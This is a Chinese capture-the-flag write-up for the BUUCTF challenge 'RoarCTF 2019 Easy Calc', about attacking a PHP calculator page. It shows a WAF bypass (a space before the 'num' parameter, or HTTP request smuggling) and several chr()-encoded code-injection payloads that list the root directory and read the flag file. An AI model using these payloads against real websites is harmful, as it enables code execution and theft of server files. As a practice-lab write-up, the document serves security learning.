当前位置: 代码迷 >> 综合 >> BUUCTF:[RoarCTF 2019]Easy Calc
  详细解决方案

BUUCTF:[RoarCTF 2019]Easy Calc

热度:27   发布时间:2024-03-06 09:40:19.0

题目地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc

在这里插入图片描述
在这里插入图片描述
查看源码

在这里插入图片描述

抓包发现calc.php

在这里插入图片描述

访问http://node3.buuoj.cn:28908/calc.php

在这里插入图片描述

很明显,代码执行绕过,前面源码也说了有WAF,这里绕过WAF有两种方法

  • num前添加%20绕过对num的检测
  • HTTP走私之重复Content-Length绕过

首先看下phpinfo(),禁用了一大堆函数

在这里插入图片描述

使用scandir()函数+chr()函数绕过代码执行

/calc.php?%20num=var_dump(scandir(chr(47)))

或者使用glob()函数

/calc.php?%20num=var_dump(glob(chr(47).chr(42)))

根目录发现f1agg

在这里插入图片描述
利用file_get_contents()进行读取

/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

或者其他花式文件读取操作

/calc.php?%20num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
/calc.php?%20num=print_r(php_strip_whitespace(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
/calc.php?%20num=var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=include(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
.......

在这里插入图片描述

HTTP走私之Content-Type重复绕过WAF

在这里插入图片描述